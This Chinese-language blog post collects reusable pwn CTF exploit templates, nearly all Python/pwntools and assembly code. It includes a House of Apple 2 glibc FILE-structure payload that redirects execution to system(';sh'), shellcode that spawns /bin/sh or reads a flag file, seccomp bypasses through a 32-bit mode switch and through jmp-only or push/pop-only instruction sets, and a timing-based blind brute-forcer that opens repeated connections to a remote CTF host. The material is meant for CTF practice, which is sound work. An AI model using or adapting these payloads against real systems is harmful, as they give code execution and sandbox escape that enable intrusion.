Pwn解题模版集合

house of apple 2 优化通用模板

测试Glibc: Ubuntu GLIBC 2.40-1ubuntu3

模板:

1
2
3
4
5
6
7
8
9
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
sys_addr = libc_base + libc.sym['system']

payload = p32(0xfffff7f5) + b";sh\x00" + p64(0)
payload+= p64(0)*2
payload+= p64(0) + p64(1)
payload+= b"\x00"*0x38 + p64(sys_addr) + b"\x00"*0x30 + p64(heap_base+0x0) # payload头地址
payload+= b"\x00"*0x30+ p64(io_wfile_jumps)
payload+= p64(heap_base+0x0) # payload头地址

原始条件:

1
2
3
4
5
6
7
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

shellcode – 通过 openat + sendfile 获得 flag

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
shellcode = asm('''
mov rbx,0x0000000067616C66
push rbx
mov rdi,-100
mov rsi,rsp
xor rdx,rdx
mov rax,257
syscall
mov rdi,1
mov rsi,3
xor rdx,rdx
mov r10,0x40
mov rax,40
syscall
''')

原始条件:

1
2
3
4
5
6
7
8
9
10
11
openat:
rdi = -100(代表当前目录)
rsi = “flag"的地址
rdx= 0(只读方式打开)
rax= 257
sendfile:
rdi = 1 (输出流)
rsi = 3(文件流)
rdx = 0
r10 = 0x40(读取字节数)注:实际上可以用rcx控制--glibc2.35-3.8在作为函数调用时
rax = 40

shellcode – 64 位程序转 32 位程序执行

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
shellcode_ready = '''
mov rdi,0x100000
mov rsi,0x10000
mov rdx,0x7
mov r10,0x22
mov r8,-1
mov r9,0
mov rax,9
syscall
xor rdi,rdi
mov rsi,0x102000
mov rdx,0x200
xor rax,rax
syscall
xor rdi,rdi
xor rax,rax
mov rsi,0x104000
mov rdx,0x200
syscall
mov rsp,0x106000
mov rbp,0x106000
push 0x23
push 0x102008
retfq
'''
se(asm(shellcode_ready,arch="amd64"))

shellcode_open = '''
xor eax,eax
mov eax,0x5
mov ebx,0x102000
mov ecx,0
int 0x80
jmp 0x33:0x104000
ret
'''
sleep(0.1)
se(b"flag\x00\x00\x00\x00" + asm(shellcode_open,arch="i386"))

shellcode_rw = '''
mov rdi,3
mov rsi,0x106000
mov rdx,0x30
xor rax,rax
syscall
mov rax,1
mov rdi,1
mov rsi,0x106000
mov rdx,0x30
syscall
ret
'''
sleep(0.1)
se(asm(shellcode_rw,arch="amd64"))

原始条件:

1
2
3
1.白名单允许fstat、read、write、mmap
2.程序未检查架构
3.fstat在64位系统下的调用号是5,而在32位系统下5是open的调用号,我们可以转入32位模式执行open,然后跳回64位执行read和write。

shellcode – 只允许 j 开头的汇编代码

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
shellcode = '''
jmp $+0x3
jmp $+0x50ec8348+0x5
jmp $+0x3
jmp $+0x5e+0x2
jmp $+0x3
jmp $+0x5a+0x2
jmp $+0x3
jmp $+0x5a+0x2
jmp $+0x3
jmp $+0xff3148+0x5
jmp $+0x50f+0x5
jmp $+0x8
'''
sh = asm(shellcode,arch="amd64")
se(sh)

sleep(0.1)
shellcode2 = '''
mov rbx, 0x0068732f6e69622f
push rbx
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,59
syscall
'''
se(b"A"*0x20 + asm(shellcode2,arch="amd64"))

原始条件:

1
2
3
首先来说jmp的一个特殊语法:jmp $+0x??,这句的意思是跳转到rip+0x??执行汇编代码,因为在这道题中我们的汇编代码在栈上,所以rsp也在栈上。
通过一句jmp $+0x3我们可以跳转到可控的汇编代码中。因为jmp本身有3字节的固定位置,但是这些位置根据0x??会变化。
总结的规律就是0x??的数据在一字节的情况下需要+0x2,比如pop rsi是0x5e,那么此时我们就应该在jmp $+0x3后面写入jmp $+0x5e+0x2这样就会完美执行pop rsi并且能执行下一句汇编代码。而超过一字节就需要+0x5,比如sub rsp,0x50是0x50ec8348,对应的规则就是jmp $+0x50ec8348+0x5

shellcode – 通过 openat + mmap + writev 获得 flag

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
shellcode = asm('''
mov eax,0
add rsp,0x0000000001337500
mov rbx,0x0000000067616C66
push rbx
mov rdi,-100
mov rsi,rsp
xor rdx,rdx
mov rax,257
syscall
xor rdi,rdi
mov rsi,0x20
mov rdx,1
mov r8,3
mov r9,0
mov r10,0x2
mov rax,9
syscall
mov rdi,1
mov rdx,1
push rax
mov rsi,rsp
mov qword ptr [rsi+0x8], 0x20
mov rax,20
syscall
''')

原始条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
openat:
rdi = -100(代表当前目录)
rsi = “flag"的地址
rdx= 0(只读方式打开)
rax= 257
mmap:
rdi = 0
rsi = 0x20(读取的大小)
rdx = 1(可读权限)
r10 = 0x2
r8 = 3(fd文件流)
r9 = 0
writev:
rdi = 1
rsi = 指向flag起始地址的地址(例:0x13374f0 —▸ 0x7efff6e4e000 ◂— 'flag{test}\n')
rdx = 1
该函数输出的长度由rsi+0x8地址指向的值来决定,通过mov qword ptr [rsi+0x8], 0x20来设置输出0x20字符

shellcode – 爆破 flag

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
s = 0
e = 50

flag = ""
i = 0
j = 0
for i in range(s,e):
for j in range(0x20,0x80):
p = remote("xyctf.top", 50357)
shellcode = asm('''
mov rbx,0x0000000067616C66
push rbx
mov rdi,-100
mov rsi,rsp
xor rdx,rdx
mov rax,257
syscall
mov rdi,3
mov rsi,0x114514000
mov rdx,0x30
mov rcx,0
mov rax,17
syscall
''')
payload = '''
loop:
mov al,byte ptr [0x114514000+{0}]
cmp al,{1}
je loop
'''.format(i,j)
sea(b"again\n",shellcode + asm(payload))

begin = time.time()

try:
p.recv(timeout=3)
p.close()
except:
pass
p.close()

end = time.time()
if end - begin > 2:
flag = flag + chr(j)
print(flag)
break

shellcode – 只允许 pop r 系列指令和 push r 系列指令执行 + 沙盒

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
payload = asm('''
pop rbx
pop rsi
pop rdx
pop rbx
pop rbx
pop rdi
push rsi
pop rsp
pop rbx
pop rbx
pop rbx
push rdx
''')

payload = payload.ljust(0x50f, asm(''' pop rbx '''))

se(payload)

pause()

payload = b"flag"
payload = payload.ljust(0x12, b"\x00")
payload+= asm('''
mov r8, rsi
mov rdi,-100
xor rdx,rdx
mov rax,257
syscall
mov rdi, 2
mov rsi, r8
add rsi, 0x500
mov rdx, 0x20
mov rax, 0
syscall
mov rdi, 1
mov rsi, r8
add rsi, 0x500
mov rdx, 0x20
mov rax, 1
syscall
''')

se(payload)

注:该模板的通用性较低,比较依赖栈上的值,慎用。

原始条件:

1
2
3
4
5
6
7
8
1.一开始只允许传递 pop r 系列指令和 push r 系列指令。
2.沙盒限制 openat 、 read 、 write。

openat:
rdi = -100(代表当前目录)
rsi = “flag"的地址
rdx= 0(只读方式打开)
rax= 257


Pwn解题模版集合
https://zlsf-zl.github.io/2025/10/15/Pwn解题模版集合/
作者
ZLSF
发布于
2025年10月15日
许可协议